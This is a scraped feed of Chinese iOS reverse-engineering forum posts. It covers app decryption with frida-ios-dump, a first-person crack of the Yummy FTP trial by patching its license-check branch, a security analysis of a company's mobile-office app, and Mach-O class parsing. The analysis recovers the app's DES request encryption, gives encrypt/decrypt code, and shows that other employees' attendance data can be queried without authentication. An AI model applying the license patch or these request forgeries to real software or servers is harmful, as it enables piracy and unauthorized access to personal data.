Quantcast
Channel: Essence Sharing | 干货分享 - iOSRE
Viewing all 301 articles
Browse latest View live

Frida-ios-dump一键砸壳菜鸡版

$
0
0

@nerosir wrote:

写在前面:

此教极其适合像我这样的菜鸡食用 常人移步庆哥官方: 一条命令完成砸壳 github:frida-ios-dump

ios端配置:

  • 打开cydia 添加源:https://build.frida.re

  • 打开刚刚添加的源 安装 Frida

  • 安装完成!检查是否工作可以可在手机终端运行 frida-ps -U 查看

mac端配置:

  • 安装Homebrew

  • 安装python: brew install python

  • 安装wget: brew install wget

  • 安装pip:

    • wget https://bootstrap.pypa.io/get-pip.py

    • sudo python get-pip.py

  • 安装usbmuxd:brew install usbmuxd

  • 清理残留: rm ~/get-pip.py

Ps: 使用brew install xxx如果一直卡在Updating Homebrew… 可以control + z结束当前进程 再新开一个终端安装 此时可以跳过更新

安装frida for mac:

  • 终端执行:

    • sudo pip install frida
  • 假如报以下错误:

    -Uninstalling a distutils installed project (six) has been deprecated and will be removed in a future version. This is due to the fact that uninstalling a distutils project will only partially uninstall the project.

  • 使用以下命令安装:

    • sudo pip install frida –upgrade –ignore-installed six

配置frida-ios-dump环境:

  • 从Github下载工程:
    sudo mkdir /opt/dump && cd /opt/dump && sudo git clone https://github.com/AloneMonkey/frida-ios-dump
  • 安装依赖:
    sudo pip install -r /opt/dump/frida-ios-dump/requirements.txt --upgrade
  • 修改dump.py参数:
    vim /opt/dump/frida-ios-dump/dump.py
    找到如下几行(32~35):
  User = 'root'
      Password = 'alpine'
      Host = 'localhost'
      Port = 2222
   按需修改 如把Password 改成自己的
   ps:如果不习惯vim 用访达打开/opt/dump/frida-ios-dump/dump.py手动编辑。
  • 设置别名:

    • 在终端输入:
      vim ~/.bash_profile
    • 在末尾新增下面一段:
      alias dump.py="/opt/dump/frida-ios-dump/dump.py"

    注意:以上的/opt/dump 可以按需更改 。

  • 使别名生效:
    source ~/.bash_profile

Enjoying and using it !

  • 打开终端 设置端口转发:
    iproxy 2222 22
  • command + n 新建终端执行一键砸壳(QQ):
    dump.py QQ

好了 现在在终端ls 查看刚刚的成果吧~

Posts: 3

Participants: 2

Read full topic


Yummy FTP破解(第一次成功的逆向经历)

$
0
0

@Peterpan0927 wrote:

逆向分析(直接markdown粘过来的)

博客链接

因为30天使用过期了,所以这个玩意不让我们使用了,虽然网上有序列号,但是这样的方式并不能让我愉♂悦,所以我们正好试试前两天学的Mac逆向。
首先我们用Hopper来搞一手,但是这个过程中发现逆向出来的函数名中似乎没有我们需要的呀:

这一步有点卡手,然后看看其他的,发现都是sub_xxxx什么的,而且还巨多,看完眼睛都瞎掉,想了想之后决定用字符串查找,因为这个是序列号验证的模式,我们就通过序列号英文来查找:

然后查找这个引用的关系,到这里似乎出现了突破口,继续向上寻找引用,然后发现了有四个调用:

我们首先看看第一个,太长了,跳出来看看第二个,发现离调用的头部很近:

屏幕快照 2018-04-21 下午11.32.10.png

从判断的逻辑关系可以得出,一开始对于日期或者其他的什么进行了一次校验,校验失败之后走左边的路线,也就是你的App认证为是过期的,我们发现开头的右边那条线就直接返回了,所以我们在这里修改判断条件让函数直接返回或者走右边的路线,原来的代码是:

mov	al, byte [esi-0x72b21+0x2f1114]                     ; 0x2f1114
and	al, 0x0
jne loc_72d49

那么我们修改判断为一定不为0的即可:

or al, 0x01
jne	loc_72d49

修改好之后非常开心的打开了应用,然而现实给了我沉重的一巴掌,还是不OK,此时我的心中似乎奔过了千万头草泥马,想到还有几个引用,于是乎又转头回去看了:

除了逻辑变了一下,其他的也没改什么,所以照样改就好了,第四个是一个子调用,应该不需要改,修改完之后重新导出,然后替换原有的可执行文件,重新打开App:

nice,那个烦人的玩意没了,开始愉悦的使用吧~分享到此结束。

Posts: 1

Participants: 1

Read full topic

Xx移动办公网络安全分析

$
0
0

@iblue wrote:

简书链接

0 前言

逆向的目标之一是评定App安全等级,找到存在的安全隐患,并以有效手段进行反破解。之前实现任意位置打卡的几种方法,都是修改实际的GPS位置信息,并没有从网络、代码层面进行深入的分析。乘着假期,将网络请求的流程梳理出来,看看能否从网络层,获取相关的请求、参数及加密方法。

1 网络流程分析

Charels抓包,网络请求走的都是HTTPS,没有可参考的价值。

回归代码,结合头文件,网络请求用的AFNetworking。既然如此,直接Hook住AFHTTPSessionManager类中最常用的POST请求方法 - POST:parameters:progress:success:failure:,将url、参数打印出来:

//Hook的class
CHDeclareClass(AFHTTPSessionManager);

// - (id)POST:(id)arg1 parameters:(id)arg2 progress:(id)arg3 success:(id)arg4 failure:(id)arg5
CHMethod(5, void, AFHTTPSessionManager, POST, id, arg1, parameters, id, arg2, progress, id, arg3, success, id, arg4, failure, id, arg5)
{
    NSLog(@"%s::%@\n %@", __func__, arg1, arg2);
    return CHSuper(5, AFHTTPSessionManager, POST, arg1, parameters,arg2, progress, arg3, success, arg4, failure, arg5);
}

__attribute__((constructor)) static void entry()
{
    CHLoadLateClass(AFHTTPSessionManager);
    CHClassHook(5, AFHTTPSessionManager, POST, parameters, progress, success, failure);
}

1.1 登录请求分析

接下来,打开App进行登录,看看发送了哪些内容。打印信息如下:

https://app.dahuatech.com/GetAndroidDataService.svc/LoginVerify
{
    jsonData = 0e10de0e07c7f127d43b326cb30ceac2566b2dfabd8facbd431e7e31708ffaf8bb310fd0abd77570e10fa3a61c36aac11261b59889c0aa606b64cbde9f43d6814503211a0e0a2a55552646c393e8e9fa72ab0703685cf19308f9a16522d58e405874fa9956a40a99313b01cdb6d3eab702019d3a2eedd819b0a2fab032a8fff52258133eb42b828a80fd4d15df199f4ab83cd4a2df67a5fac0906694ede697abde35c29587de9ca894036f785f0c2d94164a363cb6e92c4a0072d21e1f8b9b0843b1c2af7c90d3c89117318ef8e1c86fa32f99ec9182d57b5191a8e10ad0d80e6ee8de8cb0a3398be971e5e261d77b93858ed103b91af91570a832a95f42ac658737739cd60f46920d21b1154158a0ecae8f8cb7dbcb2ac6c3894e51a290c033715f11bb9e3ce18cb48429f4e5ba69be4e7d17861b355d96ce64d8ac472fafcf04ed891f29a98fa276086fc4d57d10ca;
}

得到请求url 【https://app.dahuatech.com/GetAndroidDataService.svc/LoginVerify

参数是字典格式NSDictionary<NSString *, NSString *>的数据,key值为 jsonData,value值是一串很长的字符串,显然是加密过的。单从value的字符串形式来看,是由十六进制格式的字符组成的。可能是某种加密方式与MD5的结合,但如果进行了MD5,服务端是无法解析数据的;App和服务采用对称加密的方法最常用,AES/DES等,这里有可能先进行了对称加密,再将每个字符进行转换。如果能找到原始的请求参数、加密方法,整个网络请求层应该都可以破解掉了。

1.2 请求回溯

要找到原始的参数,就需要找到哪个类调用了POST方法。然后往前一步一步回溯,将每个步骤串起来,就可以倒推网络请求的流程。

借助Hopper,搜索字符串POST:parameters:progress:success:failure:,发现ServiceUtil中的几个方法使用了:

queryService:
queryListService:
updateArrayService:
updateService:

登录一般只是检验密码,hook住queryService,打印请求参数类型,确实有相应的输出:

UserInfoModel

进一步分析,queryService并没有被其他类直接调用,而是通过在RegisteredServicesMonitor函数内,注册DAHUA_MOBILE_ServiceQuery的通知方法被动调用的。

void -[ServiceUtil RegisteredServicesMonitor](void * self, void * _cmd) {
   ...
    r0 = [NSNotificationCenter defaultCenter];
    r0 = [r0 retain];
    stack[2032] = r0;
    _objc_msgSend(r0, *r0, self, @selector(queryService:), @"DAHUA_MOBILE_ServiceQuery", 0x0);
    [stack[2032] release];
   ...
    return;
}

搜索通知DAHUA_MOBILE_ServiceQuery,再根据[LoginViewController login]伪代码,将整个代码调用顺序串起来,最终发现参数通过DESUtil类进行加密:

2 加密分析

整个请求的流程清晰了,回过头来看UserInfoModel是如何转化为成十六进制字符串的。

queryService的参数是在ServiceUtil类的函数dictionaryFormQueryData被转化了,具体过程分为两步:

  • 模型转字典

先用UserInfoModel对象的convertToUpdateDictionary 方法(其中敏感信息FItemNumber、FPassword作了隐藏处理),将对象转化成字典结构

{
    FAppVersion = "v4.0.2.Basics (51)";
    FItemNumber = 2***9;
    FMobileType = IOS;
    FModuleId = 2990;
    FOSVersion = "10.3.2";
    FPassword = "ib***dh";
    FVerSion = 51;
}
  • 字典转查询条件、并加密
    ObjectForDesAndReturnData函数内,将前面步骤的字典转化成加密的字符串,并组成新的字典,作为请求的参数
{
	jsonData = 0e10de0e07c7f127d43b326cb30ceac25...
	}

2.1 DES加密

进入最终的加密函数 [DESUtil doCipher:key:context:],查看伪代码:

void * +[DESUtil doCipher:key:context:](void * self, void * _cmd, void * arg2, void * arg3, unsigned int ret_addr) {
    r7 = (sp - 0x14) + 0xc;
    sp = sp - 0x1a4;
    var_20 = *___stack_chk_guard;
    objc_storeStrong(r7 - 0x2c, arg2);
    objc_storeStrong(r7 - 0x30, arg3);
    var_34 = ret_addr;
    var_3C = 0x0;
    if (var_34 == 0x1) {
            ...
    }
    else {
            r0 = [0x0 dataUsingEncoding:0x4, r0];
            r7 = r7;
            r0 = [r0 retain];
            var_C8 = r0;
            r1 = var_3C;
            var_3C = [r0 mutableCopy];
            [r1 release];
            [var_C8 release];
    }
    r0 = [0x0 dataUsingEncoding:0x4, r0];
    r7 = r7;
    r0 = [r0 retain];
    var_60 = [r0 mutableCopy];
    [r0 release];
    [var_60 setLength:0x8, r0];
    var_68 = [0x0 length] + 0x8 & 0xfffffff8;
    var_64 = malloc(var_68);
    __memset_chk();
    var_F0 = [objc_retainAutorelease(var_60) bytes];
    var_F8 = [var_60 length];
    *(r7 - 0x100) = [objc_retainAutorelease(var_60) bytes];
    objc_retainAutorelease(var_3C);
    *((r7 - 0x100) + 0xfffffffffffffffc) = _objc_msgSend;
    *((r7 - 0x100) + 0xfffffffffffffff8) = (*((r7 - 0x100) + 0xfffffffffffffffc))();
    *((r7 - 0x100) + 0xfffffffffffffff4) = _objc_msgSend;
    r2 = *((r7 - 0x100) + 0xfffffffffffffff4);
    *((r7 - 0x100) + 0xfffffffffffffff0) = (r2)(var_3C, @selector(length), r2, var_3C);
    *(var_34 + 0xffffffffffffffec) = 0x1;
    r12 = *(var_34 + 0xffffffffffffffec);
    *(var_34 + 0xffffffffffffffe8) = r7 - 0x6c;
    *(var_34 + 0xffffffffffffffe4) = var_64;
    var_70 = 0x0;
    *((r7 - 0x100) + 0xffffffffffffffe0) = CCCrypt(var_34, 0x1, r12, var_F0, var_F8, *(r7 - 0x100), *((r7 - 0x100) + 0xfffffffffffffff8), *((r7 - 0x100) + 0xfffffffffffffff0), *((r7 - 0x100) + 0xffffffffffffffe4), var_68, *((r7 - 0x100) + 0xffffffffffffffe8));
    if (var_34 == 0x1) {
           ...
    }
    else {
            *((r7 - 0x100) + 0xffffffffffffffc8) = _objc_msgSend;
            r0 = (*((r7 - 0x100) + 0xffffffffffffffc8))(@class(NSData), @selector(dataWithBytes:length:), var_64, 0x0);
            r7 = r7;
            var_74 = [r0 retain];
            free(var_64);
            *((r7 - 0x100) + 0xffffffffffffffc4) = _objc_msgSend;
            r2 = *((r7 - 0x100) + 0xffffffffffffffc4);
            (r2)(@class(NSMutableString), @selector(alloc), r2);
            *((r7 - 0x100) + 0xffffffffffffffc0) = @"";
            r3 = *((r7 - 0x100) + 0xffffffffffffffc0);
            *((r7 - 0x100) + 0xffffffffffffffbc) = _objc_msgSend;
            var_78 = (*((r7 - 0x100) + 0xffffffffffffffbc))();
            objc_retainAutorelease(var_74);
            *((r7 - 0x100) + 0xffffffffffffffb8) = _objc_msgSend;
            var_7C = (*((r7 - 0x100) + 0xffffffffffffffb8))();
            var_80 = 0x0;
            do {
                    *((r7 - 0x100) + 0xffffffffffffffb4) = _objc_msgSend;
                    r3 = *((r7 - 0x100) + 0xffffffffffffffb4);
                    *((r7 - 0x100) + 0xffffffffffffffb0) = var_80;
                    if (*((r7 - 0x100) + 0xffffffffffffffb0) >= (r3)(var_74, @selector(length), var_80, r3)) {
                        break;
                    }
                    s0 = *@"%x";
                    *((r7 - 0x100) + 0xffffffffffffffac) = @"%x";
                    *((r7 - 0x100) + 0xffffffffffffffa8) = _objc_msgSend;
                    r0 = (*((r7 - 0x100) + 0xffffffffffffffa8))(@class(NSString), @selector(stringWithFormat:), *((r7 - 0x100) + 0xffffffffffffffac), s0 & 0xff);
                    r7 = r7;
                    var_84 = [r0 retain];
                    *((r7 - 0x100) + 0xffffffffffffffa4) = _objc_msgSend;
                    r2 = *((r7 - 0x100) + 0xffffffffffffffa4);
                    if ((r2)(var_84, @selector(length), r2) == 0x1) {
                            r2 = *(("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics" | 0x2c0000) + 0x4bd9c);
                            *((r7 - 0x100) + 0xffffffffffffffa0) = @"0%@";
                            *((r7 - 0x100) + 0xffffffffffffff9c) = _objc_msgSend;
                            r1 = r2;
                            r2 = *((r7 - 0x100) + 0xffffffffffffffa0);
                            r12 = *((r7 - 0x100) + 0xffffffffffffff9c);
                            *((r7 - 0x100) + 0xffffffffffffff98) = var_78;
                            r0 = (r12)(@class(NSString), r1, r2, var_84);
                            r0 = [r0 retain];
                            r3 = *((r7 - 0x100) + 0xffffffffffffff98);
                            *((r7 - 0x100) + 0xffffffffffffff94) = r0;
                            r0 = r3;
                            *((r7 - 0x100) + 0xffffffffffffff90) = _objc_msgSend;
                            r2 = *((r7 - 0x100) + 0xffffffffffffff94);
                            r3 = *((r7 - 0x100) + 0xffffffffffffff90);
                            r0 = (r3)(r0, @selector(stringByAppendingString:), r2, r3);
                            r7 = r7;
                            r0 = [r0 retain];
                            *((r7 - 0x100) + 0xffffffffffffff8c) = r0;
                            *((r7 - 0x100) + 0xffffffffffffff88) = _objc_msgSend;
                            r2 = *((r7 - 0x100) + 0xffffffffffffff88);
                            r1 = var_78;
                            var_78 = (r2)(r0, @selector(mutableCopy), r2, r0);
                            [r1 release];
                            r0 = *((r7 - 0x100) + 0xffffffffffffff8c);
                            [r0 release];
                            r0 = *((r7 - 0x100) + 0xffffffffffffff94);
                            [r0 release];
                    }
                    else {
                            *((r7 - 0x100) + 0xffffffffffffff84) = @"%@";
                            *((r7 - 0x100) + 0xffffffffffffff80) = _objc_msgSend;
                            r2 = *((r7 - 0x100) + 0xffffffffffffff84);
                            r12 = *((r7 - 0x100) + 0xffffffffffffff80);
                            *((r7 - 0x100) + 0xffffffffffffff7c) = var_78;
                            r0 = (r12)(@class(NSString), @selector(stringWithFormat:), r2, var_84);
                            r0 = [r0 retain];
                            r3 = *((r7 - 0x100) + 0xffffffffffffff7c);
                            *((r7 - 0x100) + 0xffffffffffffff78) = r0;
                            r0 = r3;
                            *((r7 - 0x100) + 0xffffffffffffff74) = _objc_msgSend;
                            r2 = *((r7 - 0x100) + 0xffffffffffffff78);
                            r3 = *((r7 - 0x100) + 0xffffffffffffff74);
                            r0 = (r3)(r0, @selector(stringByAppendingString:), r2, r3);
                            r7 = r7;
                            r0 = [r0 retain];
                            *((r7 - 0x100) + 0xffffffffffffff70) = r0;
                            *((r7 - 0x100) + 0xffffffffffffff6c) = _objc_msgSend;
                            r2 = *((r7 - 0x100) + 0xffffffffffffff6c);
                            r1 = var_78;
                            var_78 = (r2)(r0, @selector(mutableCopy), r2, r0);
                            [r1 release];
                            r0 = *((r7 - 0x100) + 0xffffffffffffff70);
                            [r0 release];
                            r0 = *((r7 - 0x100) + 0xffffffffffffff78);
                            [r0 release];
                    }
                    objc_storeStrong(r7 - 0x84, 0x0);
                    var_80 = var_80 + 0x1;
            } while (true);
            objc_storeStrong(r7 - 0x70, var_78);
            objc_storeStrong(r7 - 0x78, 0x0);
            objc_storeStrong(r7 - 0x74, 0x0);
    }
    *((r7 - 0x100) + 0xffffffffffffff68) = [var_70 retain];
    objc_storeStrong(r7 - 0x70, 0x0);
    objc_storeStrong(r7 - 0x60, 0x0);
    objc_storeStrong(r7 - 0x3c, 0x0);
    objc_storeStrong(r7 - 0x30, 0x0);
    objc_storeStrong(r7 - 0x2c, 0x0);
    r0 = *((r7 - 0x100) + 0xffffffffffffff68);
    r0 = [r0 autorelease];
    r1 = *___stack_chk_guard;
    *((r7 - 0x100) + 0xffffffffffffff64) = r0;
    if (r1 == var_20) {
            r0 = *((r7 - 0x100) + 0xffffffffffffff64);
    }
    else {
            r0 = __stack_chk_fail();
    }
    return r0;
}

代码很长,看起来很头疼,其实也没必要一行一行去看懂。利用CCCrypt的各个参数进行对比分析,大概的加密逻辑也是很容易推测出来的。

CCCryptorStatus CCCrypt(
    CCOperation op,         /* kCCEncrypt, etc. */
    CCAlgorithm alg,        /* kCCAlgorithmAES128, etc. */
    CCOptions options,      /* kCCOptionPKCS7Padding, etc. */
    const void *key,
    size_t keyLength,
    const void *iv,         /* optional initialization vector */
    const void *dataIn,     /* optional per op and alg */
    size_t dataInLength,
    void *dataOut,          /* data RETURNED here */
    size_t dataOutAvailable,
    size_t *dataOutMoved)
  • op,操作类型,由变量var_34控制,即doCipher:key:context最后一个参数,为0时,进行加密操作
    enum { kCCEncrypt = 0, kCCDecrypt, };

  • alg,加密算法,伪代码为0x1,即kCCAlgorithmDES,为DES加密方式

enum {
    kCCAlgorithmAES128 = 0,
    kCCAlgorithmAES = 0,
    kCCAlgorithmDES,
    kCCAlgorithm3DES,       
    kCCAlgorithmCAST,       
    kCCAlgorithmRC4,
    kCCAlgorithmRC2,   
    kCCAlgorithmBlowfish    
};
typedef uint32_t CCAlgorithm;
  • options,代码对应变量r12 = 0x1,对应枚举为kCCOptionPKCS7Padding
*(var_34 + 0xffffffffffffffec) = 0x1;
r12 = *(var_34 + 0xffffffffffffffec)
  • key,密钥,对应到doCipher:key:context的第2个参数,需要转化成char *型,在[DESUtil encode]中,可以找到相应的密钥02****5a(8位,属于敏感信息,中间4位隐藏处理),伪代码 对应 var_F0的值:
[[DESUtil doCipher:r0 key:@"02****5a" context:stack[2033], stack[2034], stack[2035]] retain]


var_F0 = [objc_retainAutorelease(var_60) bytes]
  • keyLength,密钥长度,伪代码var_F8 = [var_60 length]
  • iv,加密向量,代码对应(r7 - 0x100)的值,与var_F0一致
*(r7 - 0x100) = [objc_retainAutorelease(var_60) bytes];
  • dataIn,需要加密的内容,即doCipher:key:context的1个参数
  • dataInLength,加密内容的长度
  • dataOut,加密后的内容
  • dataOutAvailable,加密后内容长度
var_68 = [0x0 length] + 0x8 & 0xfffffff8;
  • dataOutMoved,输出值,不用关心

至此,明确了函数使用DES加密方式,并且加密向量与密钥相同,继续住下分析。

2.2 DES结果处理

  • 先将加密后的内容转化成NSData值:
r0 = (*((r7 - 0x100) + 0xffffffffffffffc8))(@class(NSData), @selector(dataWithBytes:length:), var_64, 0x0)
  • 按字节读取NSData值,并转化成十六进制格式的字符串r2:
 r3 = *((r7 - 0x100) + 0xffffffffffffffb4);
 *((r7 - 0x100) + 0xffffffffffffffb0) = var_80;
 if (*((r7 - 0x100) + 0xffffffffffffffb0) >= (r3)(var_74, @selector(length), var_80, r3)) {
        break;
   }
  s0 = *@"%x";
  *((r7 - 0x100) + 0xffffffffffffffac) = @"%x";
  *((r7 - 0x100) + 0xffffffffffffffa8) = _objc_msgSend;
  r0 = (*((r7 - 0x100) + 0xffffffffffffffa8))(@class(NSString), @selector(stringWithFormat:), *((r7 - 0x100) + 0xffffffffffffffac), s0 & 0xff);
  r7 = r7;
  var_84 = [r0 retain];
  *((r7 - 0x100) + 0xffffffffffffffa4) = _objc_msgSend;
  r2 = *((r7 - 0x100) + 0xffffffffffffffa4);
  • 判断r2长度,如果长度为1,则在前面补0;这也是为什么在解密代码中,会有高16位、低16位判断的原因
if ((r2)(var_84, @selector(length), r2) == 0x1) {
   r2 = *(("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics" | 0x2c0000) + 0x4bd9c);
   *((r7 - 0x100) + 0xffffffffffffffa0) = @"0%@";
   *((r7 - 0x100) + 0xffffffffffffff9c) = _objc_msgSend;
   r1 = r2;
   r2 = *((r7 - 0x100) + 0xffffffffffffffa0);
   r12 = *((r7 - 0x100) + 0xffffffffffffff9c);
  ...
   r0 = *((r7 - 0x100) + 0xffffffffffffff94);
  [r0 release];
}
  • 其实整个循环,就是将NSData的值按字节转化成十六进制格式的字符串:
    比如字符串“a”,经过上述DES加密后,得到的NSData值为<ed531e0b 195ec5b7>,转化成字符串后为 ed531e0b195ec5b7,即为最终加密的结果。而通常AES/DES加密后,会将结果直接转换成Base64。

为了测试方便,在NSString增加了一个DES的类别,实现与伪代码相似的功能,具体见附录。

3 ServiceUtil

网络请求部分都在ServiceUtil里面,设置AFNetWorking参数、HTTP请求头等。

3.1 请求头设置

看伪代码,只是简单设置了AcceptUser-agentAccept-LanguageContent-TypeContent-Length这几个值,并没有做过多的校验,通过WEB模拟发送POST请求,应该也能通过。

void -[ServiceUtil setRequestHead:len:](void * self, void * _cmd, void * arg2, void * arg3) {
    objc_storeStrong((sp - 0x54) + 0x40, arg2);
    objc_storeStrong((sp - 0x54) + 0x3c, arg3);
    [0x0 addValue:@"application/json" forHTTPHeaderField:@"Accept", stack[2027], stack[2028], stack[2029]];
    [0x0 addValue:@"Mozilla/5.0" forHTTPHeaderField:@"User-agent", stack[2027], stack[2028], stack[2029]];
    [0x0 addValue:@"ZH-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4" forHTTPHeaderField:@"Accept-Language", stack[2027], stack[2028], stack[2029]];
    [0x0 addValue:@"application/json" forHTTPHeaderField:@"Content-Type", stack[2027], stack[2028], r2];
    [0x0 addValue:0x0 forHTTPHeaderField:@"Content-Length", r1, @"Content-Length"];
    objc_storeStrong((sp - 0x54) + 0x3c, 0x0);
    objc_storeStrong((sp - 0x54) + 0x40, 0x0);
    return;
}

3.2 HTTP端口

代码内部有一个HTTP的端口:http://app.dahuatech.com:8080,结合登录url,可以推测,其他的请求都是用特定的功能字符串拼接起来的,用web模拟,发现8080端口也是有效的。
http://app.dahuatech.com:8080/GetAndroidDataService.svc/xxxx
https://app.dahuatech.com/GetAndroidDataService.svc/xxxx

void * -[ServiceUtil http](void * self, void * _cmd) {
    stack[2043] = r4;
    r7 = (sp - 0x14) + 0xc;
    *((sp - 0x14) + 0xfffffffffffffffc) = r8;
    sp = (sp - 0x14) + 0xfffffffffffffffc - 0x40;
    stack[2042] = self;
    if (stack[2042]->_http == 0x0) {
            r0 = (*@"%@%@%@")(@class(NSString), @selector(stringWithFormat:), @"%@%@%@", @"http://", @"app.dahuatech.com:8080", @"/");
            r0 = [r0 retain];
            stack[2034] = r0;
            r0 = (*r0)(@class(NSMutableString), @selector(stringWithFormat:), @"%@%@%@", stack[2034], @"GetAndroidDataService.svc", @"/");

	...
    }
    r0 = stack[2042]->_http;
    r0 = loc_239340(r0, *0x31aa04);
    return r0;
}

4 安全检验

登入App后,试了其他几个请求,发现请求参数、请求头并没有登录返回的FToken信息,难道登录只是进入App的壳子,后续的请求根本不需要检验?找一个接口一试究竟。

查询打卡时间的接口,参数只有工号是可变的:

https://app.dahuatech.com/GetAndroidDataService.svc/GetCheckStatusData

{
  "FOSVersion" : "10.3.2",
  "FMobileType" : "IOS",
  "FAppVersion" : "v4.0.2.Basics (51)",
  "FModuleId" : "3093",
  "FItemNumber" : "2***9"
}

FItemNumber修改为其他的5位数,并对参数加密,得到请求参数(敏感信息隐藏处理):

{"jsonData":"0e10de0e07c7f12758af1e31ffdea690c040bb8ecab59985f118ebfbb6d0500cafaa48ff3194a97be6eb6053ec6c6206db03e151be4b528d78db3becbcb1629fc29d0e049cff1a27e5584d684d8b78e7a925a47801cd1511d6a98c7b1c33debbe446eed7fe7674987e52e6b64bd3f73fb9ebfb7a986b5c16537..."}

使用web发送请求,可以得到正常返回:

    "FID": "",
    "IsSuccess": true,
    "Result": "{\"FStatus\":0,\"FAttendId\":0,\"FCheckInTime\":\"**:**\",\"FCheckOutTime\":\"22:04\"}",
    "ResultCode": 200
}

再试其他接口,也是可以直接通过的,可见除了登录协议外,其他协议都没有做安全性校验。

5 总结

虽然App是内部用的,但有几点还是可以再提高一下的:

增加请求头、安全检验
增加DES加密的复杂度
关闭8080端口
关键几处函数进行代码混淆,反正不需要AppStore审核

附录:加解密代码

#import "NSString+DES.h"
#import <CommonCrypto/CommonDigest.h>
#import <CommonCrypto/CommonCryptor.h>

@implementation NSString (DES)

- (NSData *)jm_hexStringConvertToBytesData
{
    //异常字符串
    if (self.length % 2 != 0) {
        return nil;
    }
    
    Byte bytes[1024*3] = {0};
    int bytesIndex = 0;
    
    for(int i = 0; i < [self length]; i++)
    {
        int int_char;  /// 两位16进制数转化后的10进制数
        
        unichar hex_charUpper = [self characterAtIndex:i]; ///两位16进制数中的第一位(高位*16)
        int int_charUpper;
        if(hex_charUpper >= '0' && hex_charUpper <='9') {
            int_charUpper = (hex_charUpper - 48 ) * 16;   // 0 的Ascll - 48
        } else if(hex_charUpper >= 'A' && hex_charUpper <= 'F') {
            int_charUpper = (hex_charUpper - 55 ) * 16; /// A 的Ascll - 65
        } else {
            int_charUpper = (hex_charUpper - 87 ) * 16; // a 的Ascll - 97
        }
        
        i++;
        
        unichar hex_charLower = [self characterAtIndex:i]; ///两位16进制数中的第二位(低位)
        int int_charLower;
        if(hex_charLower >= '0' && hex_charLower <= '9') {
            int_charLower = (hex_charLower - 48); /// 0 的Ascll - 48
        } else if(hex_charUpper >= 'A' && hex_charUpper <='F') {
            int_charLower = (hex_charLower - 55); ///  A 的Ascll - 65
        } else {
            int_charLower = hex_charLower - 87; /// a 的Ascll - 97
        }
        
        int_char = int_charUpper + int_charLower;
        bytes[bytesIndex] = int_char;  ///将转化后的数放入Byte数组里
        bytesIndex++;
    }
    
    NSUInteger dataLength = self.length / 2;
    NSData *data = [[NSData alloc] initWithBytes:bytes length:dataLength];
    return data;
}

- (NSString *)jm_urlDecode {
    NSString *decodedString = [self stringByRemovingPercentEncoding];
    return decodedString;
}

- (NSString *)jm_urlEncode {
    NSString *encodedString = [self stringByAddingPercentEncodingWithAllowedCharacters:[NSCharacterSet characterSetWithCharactersInString:@"!*'();:@&=+$,/?%#[]"]];
    return encodedString;
}

- (NSString *)jm_encryptUseDESByKey:(NSString *)key iv:(NSString *)iv
{
    NSString *ciphertext;
    NSString *encode = [self jm_urlEncode];
//    NSLog(@"%s encode::%@", __func__, encode);
    
    NSData *data = [encode dataUsingEncoding:NSUTF8StringEncoding];
    NSUInteger dataLength = data.length;
    NSUInteger bufferLength = 1024;
    unsigned char buffer[bufferLength];
    memset(buffer, 0, sizeof(char));
    
    size_t numBytesEncrypted = 0;

    CCCryptorStatus cryptStatus = CCCrypt(kCCEncrypt,
                                          kCCAlgorithmDES,
                                          kCCOptionPKCS7Padding,
                                          [key UTF8String],
                                          kCCKeySizeDES,
                                          [iv UTF8String] , //iv向量
                                          [data bytes],
                                          dataLength,
                                          buffer,
                                          bufferLength,
                                          &numBytesEncrypted);
    if (cryptStatus == kCCSuccess) {
        NSData *data = [NSData dataWithBytes:buffer length:(NSUInteger)numBytesEncrypted];
        //NSLog(@"%s buffer::%s", __func__, buffer);
        //NSLog(@"%s data::%@", __func__, data);
    
        ciphertext = @"";
        for (int index = 0; index < data.length; index++) {
            char byte;
            [data getBytes:&byte range:NSMakeRange(index, 1)];
            NSString *text = [NSString stringWithFormat:@"%x", byte&0xff];
            
            //不足两位,前面补0
            if([text length] == 1) {
                text = [NSString stringWithFormat:@"0%@", text];
            }
            
            ciphertext = [ciphertext stringByAppendingString:text];
        }
    }
    
    NSLog(@"%s encryptText::%@", __func__, ciphertext);
    return ciphertext;
}

- (NSString *)jm_decryptUseDesByKey:(NSString *)key iv:(NSString *)iv
{
    NSString *decryptText;
    
    NSData *encryptData = [self jm_hexStringConvertToBytesData];
    const char *textBytes = [encryptData bytes];
    
    NSUInteger dataLength = encryptData.length;
    NSUInteger bufferLength = dataLength + 0x8 & 0xfffffff8;
    unsigned char buffer[bufferLength];
    memset(buffer, 0, sizeof(char));

    size_t numBytesEncrypted = 0;
    
    //将encryptText转化为bytes
    CCCryptorStatus decryptStatus = CCCrypt(kCCDecrypt,
                                            kCCAlgorithmDES,
                                            kCCOptionPKCS7Padding,
                                            [key UTF8String],
                                            kCCKeySizeDES,
                                            [iv UTF8String] , //iv向量
                                            textBytes,
                                            dataLength,
                                            buffer,
                                            bufferLength,
                                            &numBytesEncrypted);
    if (decryptStatus == kCCSuccess ) {
        
        NSLog(@"%s buffer::%s", __func__, buffer);
        NSData *data = [NSData dataWithBytes:buffer length:(NSUInteger)numBytesEncrypted];
        
        NSLog(@"%s data::%@", __func__, data);
        
        decryptText = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
        NSLog(@"%s decryptText::%@", __func__, decryptText);
        
        decryptText = [decryptText jm_urlDecode];
        NSLog(@"%s decodeUrl::%@", __func__, decryptText);
        
    }
    
    return decryptText;
}
@end

Posts: 2

Participants: 2

Read full topic

根据MachO文件结构获取类方法

$
0
0

@MzPoint wrote:

.工具
1. demo一枚
2. MachoView(建议从git上下载下来自己编译再运行, 我测试从官网下载可执行文件下来的分析完会有闪退的情况)

.分析
首先我们将自己准备好的demo拖入到MachoView中 分析v7的结构(arm64类似, v7地址短 看的简短一点儿)


__object_classname和__object_classname 区段中分别存储的是类名和函数名. 使用MachohView查看的话, 可以暂时不管他.我们从关键的地方看.

__objc_classlist中存储的就是类对应的表信息.
首先我们来分析VCRoot这个类. 可以看到其在文件中对应的偏移为0xC228, 其值为0xCBAC. 这个0xCBAC值对应的位置就是我们要找的详细的类信息.

接着我们根据这个0xCBAC值在__objc_data中寻找.0xCBAC对应的表.


可以看到该结构指向的是一个结构体. 结构体为
typedef struct objc_class{
unsigned long long isa;
unsigned long long wuperclass;
unsigned long long cache;
unsigned long long vtable;
unsigned long long data;
unsigned long long reserved1;
unsigned long long reserved2;
unsigned long long reserved3;
}objc_class;

这里我们可以根据SuperClass获取到该类的父类是UIViewController.

